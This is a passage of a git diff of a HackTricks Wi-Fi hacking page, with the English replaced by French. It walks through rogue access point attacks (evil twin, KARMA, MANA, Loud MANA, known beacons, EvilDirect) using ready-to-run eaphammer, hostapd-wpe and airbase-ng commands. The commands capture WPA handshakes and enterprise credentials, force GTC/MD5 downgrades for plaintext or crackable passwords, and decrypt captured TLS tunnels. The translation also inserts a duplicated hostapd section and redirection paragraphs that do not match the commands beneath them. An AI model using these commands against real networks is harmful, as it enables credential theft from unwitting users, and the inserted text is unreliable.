envoyé la trame de balise. Ensuite, supposons que nous voulions cibler un dispositif sans fil qui n'est actuellement connecté à aucun sans fil. Si nous connaissons au moins une entrée dans la PNL de ce client, nous pouvons forcer le client à se connecter à nous simplement en créant notre propre point d'accès avec l'ESSID de cette entrée. -During passive scanning, the client device listens for beacon frames from nearby access points. If the client device receives a beacon frame whose ESSID field matches an ESSID from the client’s PNL, the client will automatically connect to the access point that sent the beacon frame. Then, suppose we want to target a wireless device that is not currently connected to any wireless. If we know at least one entry in that client’s PNL, we can force the client to connect to us simply by creating our own access point with that entry’s ESSID. +### Exploration active -### Active Probing +Le deuxième algorithme de sélection de réseau utilisé dans 802.11 est connu sous le nom d'exploration active. Les dispositifs clients qui utilisent l'exploration active transmettent continuellement des trames de demande de sondage pour déterminer quels AP sont à portée, ainsi que leurs capacités. Les demandes de sondage se présentent sous deux formes : adressées et diffusées. Les demandes de sondage adressées sont adressées à un ESSID spécifique, et c'est la façon dont le client vérifie si un réseau spécifique est à proximité. -The second network selection algorithm used in 802.11 is known as Active Probing. Client devices that use active probing continuously transmit probe request frames to determine what APs are within range, as well as what their capabilities are. Probe requests come in two forms: directed and broadcast. Directed probe requests are addressed to a specific ESSID, and are the client’s way of checking if a specific network is nearby. +Les clients qui utilisent l'exploration adressée enverront des demandes de sondage pour chaque réseau de leur PNL. Il convient de noter que l'exploration adressée est le seul moyen d'identifier la présence de réseaux cachés à proximité. Les demandes de sondage diffusées fonctionnent presque exactement de la même manière, mais sont envoyées avec le champ SSID défini sur NULL. Cela adresse la demande de sondage à tous les points d'accès à proximité, permettant à la station de vérifier si l'un de ses réseaux préférés est à proximité sans révéler le contenu de sa PNL. -Clients that use directed probing will send out probe requests for each network in its PNL. It should be noted that directed probing is the only way of identify the presence of nearby hidden networks. Broadcast probe requests work almost exactly the same way, but are sent with the SSID field set to NULL. This addresses the broadcast probe to all nearby access points, allowing the the station to check if any of its preferred networks are nearby without revealing the contents of its PNL +## Simple point d'accès avec redirection vers Internet -## Simple AP with redirection to Internet +Avant d'expliquer comment effectuer des attaques plus complexes, il va être expliqué **comment** simplement **créer** un **point d'accès** et **rediriger** son **trafic** vers une interface connectée **à** **Internet**. -Before explaining how to perform more complex attacks it's going to be explained **how** to just **create** an **AP** and **redirect** it's **traffic** to an interface connected **to** the **Internet**. - -Using `ifconfig -a` check that the wlan interface to create the AP and the interface connected to the Internet are present. - -### DHCP & DNS +En utilisant `ifconfig -a`, vérifiez que l'interface wlan pour créer le point d'accès et l'interface connectée à Internet sont présentes. +### DHCP et DNS ```bash apt-get install dnsmasq #Manages DHCP and DNS ``` - -create a config file _/etc/dnsmasq.conf_ as follows: - +Créez un fichier de configuration _/etc/dnsmasq.conf_ comme suit : ``` interface=wlan0 dhcp-authoritative @@ -538,28 +481,53 @@ log-queries log-dhcp listen-address=127.0.0.1 ``` - -Then **set IPs** and **routes**: - +Ensuite, **définissez les adresses IP** et les **routes** : ``` ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 ``` - -And then **start** dnsmasq: - +Et ensuite **démarrer** dnsmasq: ``` dnsmasq -C dnsmasq.conf -d ``` - ### hostapd +### Description +`hostapd` est un démon qui implémente le protocole d'accès au réseau sans fil IEEE 802.11. Il peut être utilisé pour créer un point d'accès sans fil ou pour authentifier les clients sans fil à un réseau existant. + +### Installation +``` +sudo apt-get install hostapd +``` + +### Configuration +La configuration de `hostapd` se fait via le fichier `/etc/hostapd/hostapd.conf`. Voici un exemple de configuration pour un point d'accès sans fil WPA2-PSK : + +``` +interface=wlan0 +driver=nl80211 +ssid=MyAP +hw_mode=g +channel=6 +macaddr_acl=0 +auth_algs=1 +ignore_broadcast_ssid=0 +wpa=2 +wpa_passphrase=MyPassphrase +wpa_key_mgmt=WPA-PSK +wpa_pairwise=TKIP +rsn_pairwise=CCMP +``` + +### Utilisation +Pour démarrer le point d'accès sans fil, exécutez la commande suivante : +``` +sudo hostapd /etc/hostapd/hostapd.conf +``` ``` apt-get install hostapd ``` - -Create a config file _hostapd.conf:_ - +Créez un fichier de configuration _hostapd.conf_ : ``` interface=wlan0 driver=nl80211 @@ -577,79 +545,73 @@ wpa_group_rekey=86400 ieee80211n=1 wme_enabled=1 ``` - -**Stop annoying processes** , set **monitor mode**, and **start hostapd**: - +**Arrêter les processus gênants**, mettre en **mode monitor**, et **démarrer hostapd** : ``` airmon-ng check kill iwconfig wlan0 mode monitor ifconfig wlan0 up hostapd ./hostapd.conf ``` +### Redirection et redirection -### Forwarding and Redirection +La redirection est une technique courante utilisée pour rediriger le trafic réseau d'une machine à une autre. Cela peut être utile pour contourner les pare-feu ou pour rediriger le trafic vers une machine compromise. Il existe plusieurs outils pour effectuer des redirections, notamment `socat`, `netcat`, `ssh` et `sslh`. +La redirection peut également être utilisée pour rediriger le trafic vers des ports différents sur la même machine. Cela peut être utile pour contourner les restrictions de pare-feu ou pour masquer le trafic en le faisant passer pour un autre service. + +La redirection peut également être utilisée pour rediriger le trafic vers des domaines différents. Cela peut être utile pour contourner les restrictions de pare-feu ou pour masquer le trafic en le faisant passer pour un autre domaine. Les outils couramment utilisés pour cela sont `sslstrip` et `mitmproxy`. + +La redirection peut également être utilisée pour rediriger le trafic vers des adresses IP différentes. Cela peut être utile pour contourner les restrictions de pare-feu ou pour masquer le trafic en le faisant passer pour une autre adresse IP. Les outils couramment utilisés pour cela sont `dnsspoof` et `mitmproxy`. ```bash iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface wlan0 -j ACCEPT echo 1 > /proc/sys/net/ipv4/ip_forward ``` +## Jumeau Maléfique -## Evil Twin +Une attaque de jumeau maléfique est un type d'attaque Wi-Fi qui fonctionne en exploitant le fait que la plupart des ordinateurs et des téléphones ne verront que le "nom" ou l'ESSID d'un réseau sans fil (car la station de base n'est pas tenue de s'authentifier contre le client). Cela rend en fait très difficile la distinction entre les réseaux portant le même nom et le même type de chiffrement. En fait, de nombreux réseaux auront plusieurs points d'accès étendant le réseau, tous utilisant le même nom pour étendre l'accès sans perturber les utilisateurs. -An evil twin attack is a type Wi-Fi attack that works by taking advantage of the fact that most computers and phones will only see the "name" or ESSID of a wireless network (as the base station is not required to authenticate against the client). This actually makes it very hard to distinguish between networks with the same name and same kind of encryption. In fact, many networks will have several network-extending access points all using the same name to expand access without confusing users. +En raison de la façon dont fonctionnent les clients (rappelez-vous que le protocole 802.11 permet aux stations de se déplacer librement entre les points d'accès au sein du même ESS), il est possible de faire en sorte qu'un appareil change de station de base à laquelle il est connecté. Cela est possible en offrant un meilleur signal (ce qui n'est pas toujours possible) ou en bloquant l'accès à la station de base d'origine (paquets de désauthentification, brouillage ou une autre forme d'attaque DoS). -Due how the implementation of clients work (remember that the 802.11 protocol allows stations to roam freely between access points within the same ESS), it is possible to make a device to change the base station it is connected to. It is possible to do that offering a better signal (which is not always possible) or by blocking the access to the original base station (deauthentication packets, jamming, or some other form of DoS attack). - -Notice also that real-world wireless deployments usually have more than a single access point, and these access points are often more powerful and have better line-of-site range due to their placement towards the ceiling. Deauthenticating a single access point usually results in the target roaming towards another valid access point rather than your rogue AP, unless all nearby access points are deauthenticated (loud) or you are very careful with the placement of the rogue AP (difficult). - -You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing: +Notez également que les déploiements sans fil du monde réel ont généralement plus d'un point d'accès, et que ces points d'accès sont souvent plus puissants et ont une meilleure portée de ligne de vue en raison de leur placement vers le plafond. La désauthentification d'un seul point d'accès entraîne généralement le passage de la cible vers un autre point d'accès valide plutôt que vers votre AP malveillant, à moins que tous les points d'accès à proximité ne soient désauthentifiés (bruyants) ou que vous soyez très prudent dans le placement de l'AP malveillant (difficile). +Vous pouvez créer un jumeau maléfique ouvert très basique (sans capacité à router le trafic vers Internet) en faisant : ```bash airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon ``` - -You could also create an Evil Twin using **eaphammer** (notice that to create evil twins with eaphammer the interface **should NOT be** in **monitor** mode): - +Vous pouvez également créer un Twin Maléfique en utilisant **eaphammer** (remarquez que pour créer des twins maléfiques avec eaphammer, l'interface **NE DOIT PAS être** en mode **monitor**): ``` ./eaphammer -i wlan0 --essid exampleCorp --captive-portal ``` - -Or using Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).` +Ou en utilisant Airgeddon: `Options: 5,6,7,8,9 (dans le menu de l'attaque Evil Twin).` ![](<../../.gitbook/assets/image (148).png>) -Please, notice that by default if an ESSID in the PNL is saved as WPA protected, the device won't connect automatically to an Open evil Twin. You can try to DoS the real AP and hope that the user will connect manually to your Open evil twin, or you could DoS the real AP an use a WPA Evil Twin to capture the handshake (using this method you won't be able to let the victim connect to you as you don't know the PSK, but you can capture the handshake and try to crack it). +Veuillez noter que par défaut, si un ESSID dans la PNL est enregistré comme protégé par WPA, l'appareil ne se connectera pas automatiquement à un evil twin ouvert. Vous pouvez essayer de DoS le vrai AP et espérer que l'utilisateur se connectera manuellement à votre Open evil twin, ou vous pouvez DoS le vrai AP et utiliser un WPA Evil Twin pour capturer le handshake (en utilisant cette méthode, vous ne pourrez pas laisser la victime se connecter à vous car vous ne connaissez pas le PSK, mais vous pouvez capturer le handshake et essayer de le casser). -_Some OS and AV will warn the user that connect to an Open network is dangerous..._ +Certains systèmes d'exploitation et antivirus avertiront l'utilisateur que se connecter à un réseau ouvert est dangereux... -### WPA/WPA2 Evil Twin - -You can create an **Evil Twin using WPA/2** and if the devices have configured to connect to that SSID with WPA/2, they are going to try to connect. Anyway, **to complete the 4-way-handshake** you also need to **know** the **password** that the client is going to use. If you **don't know** it, the **connection won't be completed**. +### Evil Twin WPA/WPA2 +Vous pouvez créer un **Evil Twin en utilisant WPA/2** et si les appareils sont configurés pour se connecter à cet SSID avec WPA/2, ils vont essayer de se connecter. Cependant, **pour compléter le 4-way-handshake**, vous devez également **connaître** le **mot de passe** que le client va utiliser. Si vous ne le **connaissez pas**, la **connexion ne sera pas complétée**. ``` ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ``` +### Evil Twin d'entreprise -### Enterprise Evil Twin +Pour comprendre ces attaques, je recommande de lire d'abord la brève explication sur [WPA Enterprise](./#wpa-enterprise-mgt). -To understand this attacks I would recommend to read before the brief [WPA Enterprise explanation](./#wpa-enterprise-mgt). - -**Using hostapd-wpe** - -`hostapd-wpe` needs a **configuration** file to work. To **automate** the generation if these configurations you could use [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (download the python file inside _/etc/hostapd-wpe/_) +**Utilisation de hostapd-wpe** +`hostapd-wpe` a besoin d'un fichier de **configuration** pour fonctionner. Pour **automatiser** la génération de ces configurations, vous pouvez utiliser [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (téléchargez le fichier python à l'intérieur de _/etc/hostapd-wpe/_). ``` ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com hostapd-wpe ./victim/victim.conf -s ``` +Dans le fichier de configuration, vous pouvez sélectionner de nombreuses options différentes telles que ssid, canal, fichiers utilisateur, cret/key, paramètres dh, version wpa et auth... -In the configuration file you can select a lot of different things like ssid, channel, user files, cret/key, dh parameters, wpa version and auth... - -[**Using hostapd-wpe with EAP-TLS to allow any certificate to login.**](evil-twin-eap-tls.md) - -**Using EAPHammer** +[**Utilisation de hostapd-wpe avec EAP-TLS pour permettre à n'importe quel certificat de se connecter.**](evil-twin-eap-tls.md) +**Utilisation d'EAPHammer** ```bash # Generate Certificates ./eaphammer --cert-wizard @@ -657,59 +619,53 @@ In the configuration file you can select a lot of different things like ssid, ch # Launch Attack ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ``` - -By default, EAPHammer purposes this authentication methods (notice GTC as the first one to try to obtain plaintext passwords and then the use of more robust auth methods): - +Par défaut, EAPHammer propose ces méthodes d'authentification (remarquez que GTC est le premier à essayer d'obtenir des mots de passe en texte clair, puis l'utilisation de méthodes d'authentification plus robustes): ``` GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 ``` - -This is the default methodology to avoid long connection times. However, you can also specify to server the authentication methods from weakest to strongest: - +Voici la méthodologie par défaut pour éviter les longs temps de connexion. Cependant, vous pouvez également spécifier au serveur les méthodes d'authentification du plus faible au plus fort : ``` --negotiate weakest ``` +Ou vous pouvez également utiliser : -Or you could also use: +* `--negotiate gtc-downgrade` pour utiliser une implémentation de rétrogradation GTC hautement efficace (mots de passe en texte clair) +* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` pour spécifier manuellement les méthodes offertes (en offrant les mêmes méthodes d'authentification dans le même ordre que l'organisation, l'attaque sera beaucoup plus difficile à détecter). +* [Trouvez plus d'informations dans le wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) -* `--negotiate gtc-downgrade` to use highly efficient GTC downgrade implementation (plaintext passwords) -* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect). -* [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) +**Utilisation d'Airgeddon** -**Using Airgeddon** - -`Airgeddon` can use previously generated certificated to offer EAP authentication to WPA/WPA2-Enterprise networks. The fake network will downgrade the connection protocol to EAP-MD5 so it will be able to **capture the user and the MD5 of the password**. Later, the attacker can try to crack the password.\ -`Airggedon` offers you the possibility of a **continuous Evil Twin attack (noisy)** or **only create the Evil Attack until someone connects (smooth).** +`Airgeddon` peut utiliser des certificats générés précédemment pour offrir une authentification EAP aux réseaux WPA/WPA2-Enterprise. Le faux réseau rétrograde le protocole de connexion vers EAP-MD5 afin de pouvoir **capturer l'utilisateur et le MD5 du mot de passe**. Plus tard, l'attaquant peut essayer de craquer le mot de passe.\ +`Airggedon` vous offre la possibilité d'une **attaque Evil Twin continue (bruyante)** ou de **créer uniquement l'attaque Evil jusqu'à ce que quelqu'un se connecte (lisse).** ![](<../../.gitbook/assets/image (129).png>) -### Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks +### Débogage des tunnels TLS PEAP et EAP-TTLS dans les attaques Evil Twins -_This method was tested in an PEAP connection but as I'm decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS_ +_Cette méthode a été testée dans une connexion PEAP mais comme je décrypte un tunnel TLS arbitraire, cela devrait également fonctionner avec EAP-TTLS_ -Inside the **configuration** of _hostapd-wpe_ **comment** the line that contains _**dh\_file**_ (from `dh_file=/etc/hostapd-wpe/certs/dh` to `#dh_file=/etc/hostapd-wpe/certs/dh`)\ -This will make `hostapd-wpe` to **exchange keys using RSA** instead of DH, so you will be able to **decrypt** the traffic later **knowing the servers private key**. +Dans la **configuration** de _hostapd-wpe_, **commentez** la ligne qui contient _**dh\_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` à `#dh_file=/etc/hostapd-wpe/certs/dh`)\ +Cela fera en sorte que `hostapd-wpe` **échange des clés en utilisant RSA** au lieu de DH, vous pourrez donc **décrypter** le trafic plus tard en **connaissant la clé privée du serveur**. -Now start the **Evil Twin** using **`hostapd-wpe`** with that modified configuration as usual. Also, start **`wireshark`** in the **interface** which is performing the Evil Twin attack. +Maintenant, démarrez l'**Evil Twin** en utilisant **`hostapd-wpe`** avec cette configuration modifiée comme d'habitude. Démarrez également **`wireshark`** dans l'**interface** qui effectue l'attaque Evil Twin. -Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` +Maintenant ou plus tard (lorsque vous avez déjà capturé certaines tentatives d'authentification), vous pouvez ajouter la clé privée RSA à wireshark dans : `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` -Add a new entry and fill the form with this values: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**select your key file**, to avoid problems select a key file **without being password protected**). +Ajoutez une nouvelle entrée et remplissez le formulaire avec ces valeurs : **Adresse IP = any** -- **Port = 0** -- **Protocole = data** -- **Fichier de clé** (**sélectionnez votre fichier de clé**, pour éviter les problèmes, sélectionnez un fichier de clé **sans protection par mot de passe**). ![](<../../.gitbook/assets/image (151).png>) -And look at the new **"Decrypted TLS" tab**: +Et regardez le nouvel onglet **"TLS décrypté"** : ![](<../../.gitbook/assets/image (152).png>) -## KARMA, MANA, Loud MANA and Known beacons attack +## Attaque KARMA, MANA, Loud MANA et Known beacons -### ESSID and MAC black/whitelists +### Listes noires/blanches ESSID et MAC -The following table lists the different type of MFACLs (Management Frame Access Control Lists) available, as well their effects when used: +Le tableau suivant répertorie les différents types de MFACL (Listes de contrôle d'accès de trame de gestion) disponibles, ainsi que leurs effets lorsqu'ils sont utilisés : ![](<../../.gitbook/assets/image (149).png>) - ``` # example EAPHammer MFACL file, wildcards can be used 78:f0:97:fc:b5:36 @@ -731,49 +687,41 @@ pears [--ssid-whitelist /path/to/mac/whitelist/file.txt] [--ssid-blacklist /path/to/mac/blacklist/file.txt] ``` - ### KARMA -Karma attacks are a second form of rogue access point attack that exploits the network selection process used by stations. In a whitepaper written in 2005, Dino Dai Zovi and Shane Macaulay describe how an attacker can configure an access point to listen for directed probe requests and respond to all of them with matching directed probe responses. This causes the affected stations to automatically send an association request to the attacker’s access point. The access point then replies with an association response, causing the affected stations to connect to the attacker. +Les attaques Karma sont une deuxième forme d'attaque de point d'accès frauduleux qui exploite le processus de sélection de réseau utilisé par les stations. Dans un livre blanc écrit en 2005, Dino Dai Zovi et Shane Macaulay décrivent comment un attaquant peut configurer un point d'accès pour écouter les demandes de sondage dirigées et y répondre avec des réponses de sondage dirigées correspondantes. Cela amène les stations affectées à envoyer automatiquement une demande d'association au point d'accès de l'attaquant. Le point d'accès répond ensuite avec une réponse d'association, ce qui amène les stations affectées à se connecter à l'attaquant. ### MANA -According to Ian de Villiers and Dominic White, modern stations are designed to protect themselves against karma attacks by ignoring directed probe responses from access points that have not already responded to at least one broadcast probe request. This led to a significant drop in the number of stations that were vulnerable to karma attacks until 2015, when White and de Villiers developed a means of circumventing such protections. In White’s and de Villiers’ improved karma attack (MANA attack), directed probe responses are used to reconstruct the PNLs of nearby stations. When a broadcast probe request is received from a station, the attacker’s access point responds with an arbitrary SSID from the station’s PNL already being saw in a direct probe from that device. +Selon Ian de Villiers et Dominic White, les stations modernes sont conçues pour se protéger contre les attaques Karma en ignorant les réponses de sondage dirigées des points d'accès qui n'ont pas déjà répondu à au moins une demande de sondage de diffusion. Cela a entraîné une baisse significative du nombre de stations vulnérables aux attaques Karma jusqu'en 2015, lorsque White et de Villiers ont développé un moyen de contourner de telles protections. Dans l'attaque Karma améliorée de White et de Villiers (attaque MANA), les réponses de sondage dirigées sont utilisées pour reconstruire les PNL des stations voisines. Lorsqu'une demande de sondage de diffusion est reçue d'une station, le point d'accès de l'attaquant répond avec un SSID arbitraire provenant de la PNL de la station déjà vu dans une demande de sondage direct de ce périphérique. -In resume, the MANA algorithm works like this: each time the access point receives a probe request, it first determines whether it’s a broadcast or directed probe. If it’s directed probe, the sender’s MAC address is added to the hash table (if it’s not there already) and the ESSID is added to that device’s PNL. The AP then responds with a directed probe response. If it’s a broadcast probe, the access point responds with probe responses for each of the networks in that device’s PNL. - -MANA attack using eaphammer: +En résumé, l'algorithme MANA fonctionne comme suit : chaque fois que le point d'accès reçoit une demande de sondage, il détermine d'abord s'il s'agit d'un sondage de diffusion ou dirigé. S'il s'agit d'un sondage dirigé, l'adresse MAC de l'expéditeur est ajoutée à la table de hachage (si elle n'y est pas déjà) et l'ESSID est ajouté à la PNL de ce périphérique. Le point d'accès répond ensuite avec une réponse de sondage dirigée. S'il s'agit d'un sondage de diffusion, le point d'accès répond avec des réponses de sondage pour chacun des réseaux dans la PNL de ce périphérique. +Attaque MANA utilisant eaphammer : ``` ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ``` - ### Loud MANA -Notice that the standard MANA attack still does not allow us to attack devices that don’t use directed probing at all. So if we also doesn't know previously any entry inside the device PNL, we need to figure out some other way to attack it. +Notez que l'attaque MANA standard ne nous permet toujours pas d'attaquer les appareils qui n'utilisent pas de sondage dirigé du tout. Donc, si nous ne connaissons pas non plus une entrée précédente dans le PNL de l'appareil, nous devons trouver un autre moyen de l'attaquer. -A possibility is what is called Loud MANA attack. This attack relies on the idea that client devices within close physical proximity to one another are likely to have at least some common entries in their PNLs. - -In resume, Loud MANA attack instead of responding to probe requests with each ESSID in a particular device’s PNL, the rogue AP sends probe responses for every ESSID in every PNL across all devices that it has seen before. Relating this to set theory, we can say that the AP sends probe responses for each ESSID in the union of all PNLs of nearby devices. +Une possibilité est ce qu'on appelle l'attaque Loud MANA. Cette attaque repose sur l'idée que les appareils clients à proximité physique les uns des autres ont probablement au moins quelques entrées communes dans leurs PNL. +En résumé, l'attaque Loud MANA, au lieu de répondre aux demandes de sondage avec chaque ESSID dans le PNL d'un appareil particulier, l'AP malveillant envoie des réponses de sondage pour chaque ESSID dans chaque PNL de tous les appareils qu'il a vus auparavant. En relation avec la théorie des ensembles, nous pouvons dire que l'AP envoie des réponses de sondage pour chaque ESSID dans l'union de tous les PNL des appareils à proximité. ``` ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ``` +### Attaque de Beacon connue -### Known Beacon attack - -There are still cases in which Loud MANA attack won’t succeed.\ -The Known Beacon attack is a way to "Brute-Force" ESSIDs to try to get the victim connect to the attacker. The attacker creates an AP that response to any ESSID and run some code sending beacons faking ESSIDs of each name inside a wordlist. Hopefully the victim will contains some of theses ESSID names inside its PNL and will try to connect to the fake AP.\ -Eaphammer implemented this attack as a MANA attack where all the ESSIDs inside a list are charged (you could also combine this with `--loud` to create a Loud MANA + Known beacons attack): - +Il existe encore des cas où l'attaque Loud MANA ne réussira pas.\ +L'attaque de Beacon connue est une façon de "forcer" les ESSIDs pour essayer de faire connecter la victime à l'attaquant. L'attaquant crée un AP qui répond à n'importe quel ESSID et exécute un code envoyant des balises en falsifiant les ESSIDs de chaque nom dans une liste de mots. Avec un peu de chance, la victime contiendra certains de ces noms d'ESSID dans sa PNL et essaiera de se connecter au faux AP.\ +Eaphammer a implémenté cette attaque en tant qu'attaque MANA où tous les ESSIDs dans une liste sont chargés (vous pouvez également combiner cela avec `--loud` pour créer une attaque Loud MANA + Known beacons): ``` ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ``` +**Attaque de rafale de balises connues** -**Known Beacon Burst attack** - -As known beacons are loud. You can use a script inside Eaphammer project to just launch beacouns of every ESSID name inside a file very quickly. If you combines this script with a Eaphammer MANA attack, the clients will be able to connect to your AP. - +Comme les balises connues sont bruyantes, vous pouvez utiliser un script à l'intérieur du projet Eaphammer pour simplement lancer des balises pour chaque nom ESSID dans un fichier très rapidement. Si vous combinez ce script avec une attaque MANA Eaphammer, les clients pourront se connecter à votre point d'accès. ``` # transmit a burst of 5 forged beacon packets for each entry in list ./forge-beacons -i wlan1 \ @@ -782,20 +730,19 @@ As known beacons are loud. You can use a script inside Eaphammer project to just --dst-addr 11:22:33:11:22:33 \ --burst-count 5 ``` - ## Wi-Fi Direct -Wi-Fi Direct is a Wi-Fi standard that allows devices to connect to each other without a wireless AP as one of the two devices will act as AP (called group owner). You can find Wi-Fi Direct in a lot of IoT devices like printers, TVs... +Wi-Fi Direct est une norme Wi-Fi qui permet aux appareils de se connecter les uns aux autres sans point d'accès sans fil, car l'un des deux appareils agira en tant que point d'accès (appelé propriétaire de groupe). Vous pouvez trouver Wi-Fi Direct dans de nombreux appareils IoT tels que les imprimantes, les téléviseurs... -Wi-Fi Direct relies on Wi-Fi Protected Setup (**WPS**) to securely connect the devices. WPS has multiple configuration methods such as **Push-Button** Configuration (PBC), **PIN entry**, and **Near-Field** Communication (NFC) +Wi-Fi Direct s'appuie sur Wi-Fi Protected Setup (**WPS**) pour connecter les appareils de manière sécurisée. WPS dispose de plusieurs méthodes de configuration telles que la configuration **Push-Button** (PBC), la saisie de **code PIN** et la **communication en champ proche** (NFC). -So the attacks previously seen to WPS PIN are also valid here if PIN is used. +Ainsi, les attaques précédemment vues sur le code PIN WPS sont également valables ici si le code PIN est utilisé. -### EvilDirect Hijacking +### Piratage EvilDirect -This works like an Evil-Twin but for Wi-Fi direct, you can impersonate a group owner to try to make other devices like phons connect to you: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0` +Cela fonctionne comme un Evil-Twin mais pour Wi-Fi direct, vous pouvez vous faire passer pour un propriétaire de groupe pour essayer de faire connecter d'autres appareils comme des téléphones à vous : `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0` -## References +## Références * [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee) * [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9) @@ -806,26 +753,26 @@ This works like an Evil-Twin but for Wi-Fi direct, you can impersonate a group o * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) * [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) -TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals) +TODO: Jetez un coup d'œil à [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (connexion avec Facebook et imitation de WPA dans les portails captifs)
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lisez les tutoriels sur les bugs web3 -🔔 Get notified about new bug bounties +🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs -💬 Participate in community discussions +💬 Participez aux discussions de la communauté
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
